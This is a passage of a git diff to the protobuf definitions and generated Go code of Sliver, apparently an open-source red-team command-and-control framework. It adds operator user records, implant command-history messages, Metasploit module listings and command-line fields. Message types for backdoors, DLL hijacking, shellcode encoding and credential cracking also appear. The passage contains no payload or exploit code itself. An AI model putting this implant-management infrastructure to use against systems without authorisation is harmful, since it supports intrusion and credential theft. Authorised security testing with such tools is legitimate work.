file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Operator); i { case 0: return &v.state @@ -12026,7 +12663,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebContent); i { case 0: return &v.state @@ -12038,7 +12675,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteAddContent); i { case 0: return &v.state @@ -12050,7 +12687,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteRemoveContent); i { case 0: return &v.state @@ -12062,7 +12699,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Website); i { case 0: return &v.state @@ -12074,7 +12711,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Websites); i { case 0: return &v.state @@ -12086,7 +12723,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGClientConfig); i { case 0: return &v.state @@ -12098,7 +12735,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Loot); i { case 0: return &v.state @@ -12110,7 +12747,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllLoot); i { case 0: return &v.state @@ -12122,7 +12759,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IOC); i { case 0: return &v.state @@ -12134,7 +12771,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExtensionData); i { case 0: return &v.state @@ -12146,7 +12783,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Host); i { case 0: return &v.state @@ -12158,7 +12795,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllHosts); i { case 0: return &v.state @@ -12170,7 +12807,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijackReq); i { case 0: return &v.state @@ -12182,7 +12819,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijack); i { case 0: return &v.state @@ -12194,7 +12831,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BackdoorReq); i { case 0: return &v.state @@ -12206,7 +12843,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Backdoor); i { case 0: return &v.state @@ -12218,7 +12855,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncodeReq); i { case 0: return &v.state @@ -12230,7 +12867,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncode); i { case 0: return &v.state @@ -12242,7 +12879,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncoderMap); i { case 0: return &v.state @@ -12254,7 +12891,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalGenerateReq); i { case 0: return &v.state @@ -12266,7 +12903,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builders); i { case 0: return &v.state @@ -12278,7 +12915,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builder); i { case 0: return &v.state @@ -12290,7 +12927,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credential); i { case 0: return &v.state @@ -12302,7 +12939,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credentials); i { case 0: return &v.state @@ -12314,7 +12951,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstations); i { case 0: return &v.state @@ -12326,7 +12963,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackstationStatus); i { case 0: return &v.state @@ -12338,7 +12975,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackSyncStatus); i { case 0: return &v.state @@ -12350,7 +12987,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackBenchmark); i { case 0: return &v.state @@ -12362,7 +12999,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackTask); i { case 0: return &v.state @@ -12374,7 +13011,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstation); i { case 0: return &v.state @@ -12386,7 +13023,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CUDABackendInfo); i { case 0: return &v.state @@ -12398,7 +13035,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenCLBackendInfo); i { case 0: return &v.state @@ -12410,7 +13047,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MetalBackendInfo); i { case 0: return &v.state @@ -12422,7 +13059,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackCommand); i { case 0: return &v.state @@ -12434,7 +13071,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackConfig); i { case 0: return &v.state @@ -12446,7 +13083,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFiles); i { case 0: return &v.state @@ -12458,7 +13095,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFile); i { case 0: return &v.state @@ -12470,7 +13107,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFileChunk); i { case 0: return &v.state @@ -12489,7 +13126,7 @@ func file_clientpb_client_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_clientpb_client_proto_rawDesc, NumEnums: 12, - NumMessages: 112, + NumMessages: 118, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index 7e7384036d..4249c740a4 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/clientpb"; import "commonpb/common.proto"; -// [ Version ] ---------------------------------------- +// [ Teamclient ] ------------------------------------------- message Version { int32 Major = 1; @@ -19,12 +19,53 @@ message Version { string Arch = 8; } -// [ Client Logs ] ---------------------------------------- +message Users { repeated User Users = 1; } + +message User { + string Name = 1; + bool Online = 2; + int64 LastSeen = 3; + int32 Clients = 4; +} + + +// [ Client Logs ] ------------------------------------------ message ClientLogData { string Stream = 1; bytes Data = 2; } +// [ History commands ] ---------------------------------------- + +message ImplantCommand { + string Stream = 1; + string User = 2; + string ImplantID = 3; + string ImplantName = 4; + int64 ExecutedAt = 5; + string Block = 6; + + commonpb.Request Request = 9; +} + +message HistoryRequest { + bool UserOnly = 1; + int32 MaxLines = 2; + string ImplantID = 3; + string ImplantName = 4; + + commonpb.Request Request = 9; +} + +// History - Command history content. +message History { + int32 HistoryLen = 2; + bool UserOnly = 3; + repeated ImplantCommand Commands = 4; + + commonpb.Response Response = 9; +} + // [ Core ] ---------------------------------------- message Session { @@ -102,6 +143,7 @@ message BeaconTask { bytes Request = 7; bytes Response = 8; string Description = 9; + repeated string CmdLine = 10; } message BeaconTasks { @@ -251,6 +293,21 @@ message Compiler { repeated CompilerTarget UnsupportedTargets = 5; } +message MetasploitModule { + string Name = 1; + string FullName = 2; + string Description = 3; + string Quality = 4; +} + +message MetasploitCompiler { + string Version = 1; + repeated string Formats = 2; + repeated string Archs = 3; + repeated MetasploitModule Encoders = 4; + repeated MetasploitModule Payloads = 5; +} + message DeleteReq { string Name = 1; } // DNSCanary - Single canary and metadata @@ -507,15 +564,14 @@ message Client { message Event { string EventType = 1; Session Session = 2; - Job Job = 3; - Client Client = 4; - bytes Data = 5; + Beacon Beacon = 3; + Job Job = 4; + Client Client = 5; + bytes Data = 6; - string Err = 6; // Can't trigger normal gRPC error + string Err = 7; // Can't trigger normal gRPC error } -message Operators { repeated Operator Operators = 1; } - message Operator { bool Online = 1; string Name = 2; diff --git a/protobuf/commonpb/common.pb.go b/protobuf/commonpb/common.pb.go index 0bfd3a489b..9b124a7edd 100644 --- a/protobuf/commonpb/common.pb.go +++ b/protobuf/commonpb/common.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.26.0 +// protoc-gen-go v1.31.0 // protoc v3.15.8 // source: commonpb/common.proto @@ -64,10 +64,11 @@ type Request struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` - Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` - BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` + Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` + BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *Request) Reset() { @@ -130,9 +131,17 @@ func (x *Request) GetSessionID() string { return "" } +func (x *Request) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + // Response - Common fields used in all gRPC responses. Note that the Err field -// only used when the implant needs to return an error to the server. -// Client<->Server comms should use normal gRPC error handling. +// +// only used when the implant needs to return an error to the server. +// Client<->Server comms should use normal gRPC error handling. type Response struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -417,43 +426,45 @@ var File_commonpb_common_proto protoreflect.FileDescriptor var file_commonpb_common_proto_rawDesc = []byte{ 0x0a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x73, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x54, - 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, - 0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, - 0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, - 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, - 0x79, 0x6e, 0x63, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, - 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, - 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, - 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, - 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, - 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, - 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, - 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x8d, 0x01, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, + 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x66, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, + 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x61, + 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x61, 0x73, 0x6b, + 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, + 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, + 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, + 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, + 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, + 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( diff --git a/protobuf/commonpb/common.proto b/protobuf/commonpb/common.proto index 9dfeaeb8eb..ef5a784c42 100644 --- a/protobuf/commonpb/common.proto +++ b/protobuf/commonpb/common.proto @@ -15,6 +15,7 @@ message Request { string BeaconID = 8; string SessionID = 9; + repeated string CmdLine = 10; } // Response - Common fields used in all gRPC responses. Note that the Err field @@ -48,4 +49,4 @@ message Process { message EnvVar { string Key = 1; string Value = 2; -} \ No newline at end of file +} diff --git a/protobuf/dnspb/dns.pb.go b/protobuf/dnspb/dns.pb.go index a31c365aa8..b5cdf7b18f 100644 --- a/protobuf/dnspb/dns.pb.go +++ b/protobuf/dnspb/dns.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.26.0 +// protoc-gen-go v1.31.0 // protoc v3.15.8 // source: dnspb/dns.proto @@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) { return file_dnspb_dns_proto_rawDescGZIP(), []int{0} } +// NOTE: DNS is very space sensitive so certain fields are re-purposed +// depending on the DNSMessageType as noted below: // -//NOTE: DNS is very space 